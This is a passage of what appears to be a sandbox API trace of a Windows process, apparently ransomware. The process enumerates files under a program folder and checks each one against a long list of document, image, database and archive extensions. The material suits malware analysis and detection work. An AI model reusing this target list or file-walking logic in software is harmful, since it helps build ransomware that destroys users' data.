lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.377] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9f19, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.377] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.377] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.377] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.377] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.377] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0183.378] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0183.378] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1 [0183.378] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0183.378] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0183.380] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.381] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.381] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.381] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.381] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.381] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.381] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0183.382] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0183.382] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1 [0183.382] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0183.382] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0183.384] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.384] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.384] lstrlenW (lpString="index.html") returned 10 [0183.385] lstrlenW (lpString=".1cd") returned 4 [0183.385] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0183.385] lstrlenW (lpString=".3ds") returned 4 [0183.385] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0183.385] lstrlenW (lpString=".3fr") returned 4 [0183.385] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0183.385] lstrlenW (lpString=".3g2") returned 4 [0183.385] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0183.385] lstrlenW (lpString=".3gp") returned 4 [0183.385] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0183.479] lstrlenW (lpString=".7z") returned 3 [0183.479] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0183.479] lstrlenW (lpString=".accda") returned 6 [0183.479] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0183.480] lstrlenW (lpString=".accdb") returned 6 [0183.480] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0183.480] lstrlenW (lpString=".accdc") returned 6 [0183.480] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0183.480] lstrlenW (lpString=".accde") returned 6 [0183.480] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0183.480] lstrlenW (lpString=".accdt") returned 6 [0183.480] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0183.480] lstrlenW (lpString=".accdw") returned 6 [0183.480] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0183.480] lstrlenW (lpString=".adb") returned 4 [0183.480] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0183.480] lstrlenW (lpString=".adp") returned 4 [0183.480] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0183.480] lstrlenW (lpString=".ai") returned 3 [0183.480] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0183.480] lstrlenW (lpString=".ai3") returned 4 [0183.480] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0183.480] lstrlenW (lpString=".ai4") returned 4 [0183.480] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0183.480] lstrlenW (lpString=".ai5") returned 4 [0183.480] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0183.480] lstrlenW (lpString=".ai6") returned 4 [0183.480] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0183.480] lstrlenW (lpString=".ai7") returned 4 [0183.480] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0183.480] lstrlenW (lpString=".ai8") returned 4 [0183.480] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0183.481] lstrlenW (lpString=".anim") returned 5 [0183.481] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0183.481] lstrlenW (lpString=".arw") returned 4 [0183.481] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0183.481] lstrlenW (lpString=".as") returned 3 [0183.481] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0183.481] lstrlenW (lpString=".asa") returned 4 [0183.481] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0183.481] lstrlenW (lpString=".asc") returned 4 [0183.481] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0183.481] lstrlenW (lpString=".ascx") returned 5 [0183.481] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0183.481] lstrlenW (lpString=".asm") returned 4 [0183.481] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0183.481] lstrlenW (lpString=".asmx") returned 5 [0183.481] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0183.481] lstrlenW (lpString=".asp") returned 4 [0183.481] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0183.481] lstrlenW (lpString=".aspx") returned 5 [0183.481] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0183.481] lstrlenW (lpString=".asr") returned 4 [0183.481] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0183.481] lstrlenW (lpString=".asx") returned 4 [0183.481] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0183.481] lstrlenW (lpString=".avi") returned 4 [0183.481] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0183.481] lstrlenW (lpString=".avs") returned 4 [0183.481] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0183.481] lstrlenW (lpString=".backup") returned 7 [0183.481] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0183.481] lstrlenW (lpString=".bak") returned 4 [0183.481] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0183.481] lstrlenW (lpString=".bay") returned 4 [0183.482] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0183.482] lstrlenW (lpString=".bd") returned 3 [0183.482] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0183.482] lstrlenW (lpString=".bin") returned 4 [0183.482] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0183.482] lstrlenW (lpString=".bmp") returned 4 [0183.482] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0183.482] lstrlenW (lpString=".bz2") returned 4 [0183.482] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0183.482] lstrlenW (lpString=".c") returned 2 [0183.482] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.482] lstrlenW (lpString=".cdr") returned 4 [0183.482] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0183.482] lstrlenW (lpString=".cer") returned 4 [0183.482] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0183.482] lstrlenW (lpString=".cf") returned 3 [0183.482] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0183.482] lstrlenW (lpString=".cfc") returned 4 [0183.482] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0183.482] lstrlenW (lpString=".cfm") returned 4 [0183.482] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0183.482] lstrlenW (lpString=".cfml") returned 5 [0183.482] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0183.482] lstrlenW (lpString=".cfu") returned 4 [0183.482] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0183.482] lstrlenW (lpString=".chm") returned 4 [0183.482] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0183.482] lstrlenW (lpString=".cin") returned 4 [0183.482] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0183.482] lstrlenW (lpString=".class") returned 6 [0183.482] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0183.483] lstrlenW (lpString=".clx") returned 4 [0183.483] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0183.483] lstrlenW (lpString=".config") returned 7 [0183.483] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0183.483] lstrlenW (lpString=".cpp") returned 4 [0183.483] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0183.483] lstrlenW (lpString=".cr2") returned 4 [0183.483] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0183.483] lstrlenW (lpString=".crt") returned 4 [0183.483] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0183.483] lstrlenW (lpString=".crw") returned 4 [0183.483] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0183.483] lstrlenW (lpString=".cs") returned 3 [0183.483] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0183.483] lstrlenW (lpString=".css") returned 4 [0183.483] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0183.483] lstrlenW (lpString=".csv") returned 4 [0183.483] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0183.483] lstrlenW (lpString=".cub") returned 4 [0183.483] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0183.483] lstrlenW (lpString=".dae") returned 4 [0183.483] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0183.483] lstrlenW (lpString=".dat") returned 4 [0183.483] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0183.483] lstrlenW (lpString=".db") returned 3 [0183.483] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0183.483] lstrlenW (lpString=".dbf") returned 4 [0183.483] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0183.483] lstrlenW (lpString=".dbx") returned 4 [0183.483] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0183.483] lstrlenW (lpString=".dc3") returned 4 [0183.483] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0183.483] lstrlenW (lpString=".dcm") returned 4 [0183.484] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0183.484] lstrlenW (lpString=".dcr") returned 4 [0183.484] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0183.484] lstrlenW (lpString=".der") returned 4 [0183.484] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0183.484] lstrlenW (lpString=".dib") returned 4 [0183.484] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0183.484] lstrlenW (lpString=".dic") returned 4 [0183.484] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0183.484] lstrlenW (lpString=".dif") returned 4 [0183.484] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0183.484] lstrlenW (lpString=".divx") returned 5 [0183.484] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0183.484] lstrlenW (lpString=".djvu") returned 5 [0183.484] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0183.484] lstrlenW (lpString=".dng") returned 4 [0183.484] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0183.484] lstrlenW (lpString=".doc") returned 4 [0183.484] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0183.484] lstrlenW (lpString=".docm") returned 5 [0183.484] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0183.484] lstrlenW (lpString=".docx") returned 5 [0183.484] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0183.484] lstrlenW (lpString=".dot") returned 4 [0183.484] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0183.484] lstrlenW (lpString=".dotm") returned 5 [0183.484] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0183.484] lstrlenW (lpString=".dotx") returned 5 [0183.484] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0183.484] lstrlenW (lpString=".dpx") returned 4 [0183.484] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0183.484] lstrlenW (lpString=".dqy") returned 4 [0183.484] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0183.484] lstrlenW (lpString=".dsn") returned 4 [0183.484] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0183.485] lstrlenW (lpString=".dt") returned 3 [0183.485] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0183.485] lstrlenW (lpString=".dtd") returned 4 [0183.485] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0183.485] lstrlenW (lpString=".dwg") returned 4 [0183.485] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0183.485] lstrlenW (lpString=".dwt") returned 4 [0183.485] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0183.485] lstrlenW (lpString=".dx") returned 3 [0183.485] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0183.491] lstrlenW (lpString=".dxf") returned 4 [0183.491] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0183.491] lstrlenW (lpString=".edml") returned 5 [0183.491] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0183.491] lstrlenW (lpString=".efd") returned 4 [0183.491] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0183.491] lstrlenW (lpString=".elf") returned 4 [0183.491] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0183.491] lstrlenW (lpString=".emf") returned 4 [0183.491] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0183.491] lstrlenW (lpString=".emz") returned 4 [0183.491] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0183.491] lstrlenW (lpString=".epf") returned 4 [0183.491] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0183.491] lstrlenW (lpString=".eps") returned 4 [0183.491] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0183.491] lstrlenW (lpString=".epsf") returned 5 [0183.491] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0183.491] lstrlenW (lpString=".epsp") returned 5 [0183.492] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0183.492] lstrlenW (lpString=".erf") returned 4 [0183.492] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0183.492] lstrlenW (lpString=".exr") returned 4 [0183.492] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0183.492] lstrlenW (lpString=".f4v") returned 4 [0183.492] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0183.492] lstrlenW (lpString=".fido") returned 5 [0183.492] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0183.492] lstrlenW (lpString=".flm") returned 4 [0183.492] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0183.492] lstrlenW (lpString=".flv") returned 4 [0183.492] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0183.492] lstrlenW (lpString=".frm") returned 4 [0183.492] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0183.492] lstrlenW (lpString=".fxg") returned 4 [0183.492] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0183.492] lstrlenW (lpString=".geo") returned 4 [0183.492] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0183.492] lstrlenW (lpString=".gif") returned 4 [0183.492] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0183.492] lstrlenW (lpString=".grs") returned 4 [0183.492] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0183.492] lstrlenW (lpString=".gz") returned 3 [0183.492] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0183.492] lstrlenW (lpString=".h") returned 2 [0183.492] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.492] lstrlenW (lpString=".hdr") returned 4 [0183.492] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0183.492] lstrlenW (lpString=".hpp") returned 4 [0183.493] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0183.493] lstrlenW (lpString=".hta") returned 4 [0183.493] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0183.493] lstrlenW (lpString=".htc") returned 4 [0183.493] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0183.493] lstrlenW (lpString=".htm") returned 4 [0183.493] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0183.493] lstrlenW (lpString=".html") returned 5 [0183.493] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0183.493] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.493] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0183.493] lstrlenW (lpString=".1cd") returned 4 [0183.493] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.493] lstrlenW (lpString=".3ds") returned 4 [0183.493] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0183.493] lstrlenW (lpString=".3fr") returned 4 [0183.493] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0183.493] lstrlenW (lpString=".3g2") returned 4 [0183.493] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0183.493] lstrlenW (lpString=".3gp") returned 4 [0183.493] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0183.493] lstrlenW (lpString=".7z") returned 3 [0183.493] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.493] lstrlenW (lpString=".accda") returned 6 [0183.493] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0183.493] lstrlenW (lpString=".accdb") returned 6 [0183.493] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0183.493] lstrlenW (lpString=".accdc") returned 6 [0183.493] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0183.493] lstrlenW (lpString=".accde") returned 6 [0183.494] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0183.494] lstrlenW (lpString=".accdt") returned 6 [0183.494] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 